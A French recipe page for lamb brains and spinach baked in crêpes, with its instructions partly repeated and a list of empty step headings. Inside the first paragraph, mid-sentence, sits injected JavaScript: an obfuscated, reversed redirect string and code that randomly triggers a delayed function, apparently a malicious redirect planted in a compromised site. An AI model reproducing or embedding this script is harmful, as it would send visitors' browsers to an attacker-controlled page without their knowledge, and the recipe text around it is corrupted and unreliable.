Cervelle d’agneau aux épinards
2021-05-07Préparez la pâte à crêpes, en mélangeant la farine avec la pincée de sel fin. Ajoutez le beurre ramolli tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant incorporez les œufs l’un après l’autre et le lait par petites quantités pour éviter de former des grumeaux
Ingrédients
Préparez la pâte à crêpes, en mélangeant la farine avec la pincée de sel fin. Ajoutez le beurre ramolli tout en remuant incorporez les œufs l'un après l'autre et le lait par petites quantités pour éviter de former des grumeaux Faites cuire les crêpes dans une poêle antiadhésive. Lavez les cervelles dans une eau vinaigrée. Faites-les cuire par frémissement pendant 5 minutes dans une eau salée et légèrement vinaigrée. Laissez refroidir.
Équeutez les épinards, les rincer. Dans une cocotte faites fondre les épinards avec une noix de beurre sur feu doux, sans eau en les remuant souvent.
Les égoutter si nécessaire, et les hacher. Dans une casserole préparez un roux avec du beurre, la farine, ajoutez le lait, bien mélanger et ajoutez les épinards, et les cervelles. Liez avec un œuf entier 1/3 de la sauce salez, poivrez, une pincée de noix de muscade.
Répartissez cette farce sur les crêpes, fermez en paquets et disposez-les dans un plat à gratin. Nappez avec la sauce restante, saupoudrez d’emmenthal râpé et cuire dans un four à 210°C thermostat 7. Enfournez et faites cuire pendant 20 minutes. Servez chaud.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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